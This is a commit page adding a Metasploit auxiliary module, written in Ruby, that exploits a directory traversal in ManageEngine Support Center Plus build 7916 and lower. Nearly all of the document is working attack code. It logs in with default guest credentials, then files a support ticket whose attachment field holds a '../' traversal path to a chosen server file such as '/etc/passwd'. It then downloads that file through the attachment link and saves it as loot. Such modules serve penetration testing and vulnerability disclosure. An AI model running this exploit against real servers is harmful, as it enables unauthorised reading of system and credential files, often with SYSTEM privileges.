Land #2925, @xistence aux module for Support Center Plus traversal
commit
452042e757
|
@ -0,0 +1,160 @@
|
|||
##
|
||||
# This module requires Metasploit: http//metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Auxiliary::Scanner
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => "ManageEngine Support Center Plus Directory Traversal",
|
||||
'Description' => %q{
|
||||
This module exploits a directory traversal vulnerability found in ManageEngine
|
||||
Support Center Plus build 7916 and lower. The module will create a support ticket
|
||||
as a normal user, attaching a link to a file on the server. By requesting our
|
||||
own attachment, it's possible to retrieve any file on the filesystem with the same
|
||||
privileges as Support Center Plus is running. On Windows this is always with SYSTEM
|
||||
privileges.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => 'xistence <xistence[at]0x90.nl>', # Discovery, Metasploit module
|
||||
'References' =>
|
||||
[
|
||||
['EDB', '31262'],
|
||||
['OSVDB', '102656'],
|
||||
['BID', '65199'],
|
||||
['URL', 'http://packetstormsecurity.com/files/124975/ManageEngine-Support-Center-Plus-7916-Directory-Traversal.html']
|
||||
],
|
||||
'DisclosureDate' => "Jan 28 2014"
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('TARGETURI', [true, 'The base path to the Support Center Plus installation', '/']),
|
||||
OptString.new('RPORT', [true, 'Remote port of the Support Center Plus installation', '8080']),
|
||||
OptString.new('USER', [true, 'The Support Center Plus user', 'guest']),
|
||||
OptString.new('PASS', [true, 'The Support Center Plus password', 'guest']),
|
||||
OptString.new('FILE', [true, 'The Support Center Plus password', '/etc/passwd'])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
uri = target_uri.path
|
||||
peer = "#{ip}:#{rport}"
|
||||
|
||||
vprint_status("#{peer} - Retrieving cookie")
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(uri, "")
|
||||
})
|
||||
|
||||
if res and res.code == 200
|
||||
session = res.get_cookies
|
||||
else
|
||||
vprint_error("#{peer} - Server returned #{res.code.to_s}")
|
||||
end
|
||||
|
||||
vprint_status("#{peer} - Logging in as user [ #{datastore['USER']} ]")
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(uri, "j_security_check"),
|
||||
'cookie' => session,
|
||||
'vars_post' =>
|
||||
{
|
||||
'j_username' => datastore['USER'],
|
||||
'j_password' => datastore['PASS'],
|
||||
'logonDomainName' => 'undefined',
|
||||
'sso_status' => 'false',
|
||||
'loginButton' => 'Login'
|
||||
}
|
||||
})
|
||||
|
||||
if res and res.code == 302
|
||||
vprint_status("#{peer} - Login succesful")
|
||||
else
|
||||
vprint_error("#{peer} - Login was not succesful!")
|
||||
return
|
||||
end
|
||||
|
||||
randomname = Rex::Text.rand_text_alphanumeric(10)
|
||||
vprint_status("#{peer} - Creating ticket with our requested file [ #{datastore['FILE']} ] as attachment")
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(uri, "WorkOrder.do"),
|
||||
'cookie' => session,
|
||||
'vars_post' =>
|
||||
{
|
||||
'reqTemplate' => '',
|
||||
'prodId' => '0',
|
||||
'priority' => '2',
|
||||
'reqID' => '2',
|
||||
'usertypename' => 'Requester',
|
||||
'reqName' => 'Guest',
|
||||
'category' => '0',
|
||||
'item' => '0',
|
||||
'subCategory' => '0',
|
||||
'title' => randomname,
|
||||
'description' => randomname,
|
||||
'MOD_IND' => 'WorkOrder',
|
||||
'FORMNAME' => 'WorkOrderForm',
|
||||
'attach' => "/../../../../../../../../../../../..#{datastore['FILE']}",
|
||||
'attPath' => '',
|
||||
'component' => 'Request',
|
||||
'attSize' => Rex::Text.rand_text_numeric(8),
|
||||
'attachments' => randomname,
|
||||
'autoCCList' => '',
|
||||
'addWO' => 'addWO'
|
||||
}
|
||||
})
|
||||
|
||||
if res and res.code == 200
|
||||
vprint_status("#{peer} - Ticket created")
|
||||
if (res.body =~ /FileDownload.jsp\?module=Request\&ID=(\d+)\&authKey=(.*)\" class=/)
|
||||
fileid = $1
|
||||
vprint_status("#{peer} - File ID is [ #{fileid} ]")
|
||||
fileauthkey = $2
|
||||
vprint_status("#{peer} - Auth Key is [ #{fileauthkey} ]")
|
||||
else
|
||||
vprint_error("#{peer} - File ID and AuthKey not found!")
|
||||
end
|
||||
else
|
||||
vprint_error("#{peer} - Ticket not created due to error!")
|
||||
return
|
||||
end
|
||||
|
||||
vprint_status("#{peer} - Requesting file [ #{uri}workorder/FileDownload.jsp?module=Request&ID=#{fileid}&authKey=#{fileauthkey} ]")
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(uri, "workorder", "FileDownload.jsp"),
|
||||
'vars_get' =>
|
||||
{
|
||||
'module' => 'Request',
|
||||
'ID' => fileid,
|
||||
'authKey' => fileauthkey
|
||||
}
|
||||
})
|
||||
|
||||
# If we don't get a 200 when we request our malicious payload, we suspect
|
||||
# we don't have a shell, either. Print the status code for debugging purposes.
|
||||
if res and res.code == 200
|
||||
data = res.body
|
||||
p = store_loot(
|
||||
'manageengine.supportcenterplus',
|
||||
'application/octet-stream',
|
||||
ip,
|
||||
data,
|
||||
datastore['FILE']
|
||||
)
|
||||
print_good("#{peer} - [ #{datastore['FILE']} ] loot stored as [ #{p} ]")
|
||||
else
|
||||
vprint_error("#{peer} - Server returned #{res.code.to_s}")
|
||||
end
|
||||
end
|
||||
end
|
||||
|
Loading…
Reference in New Issue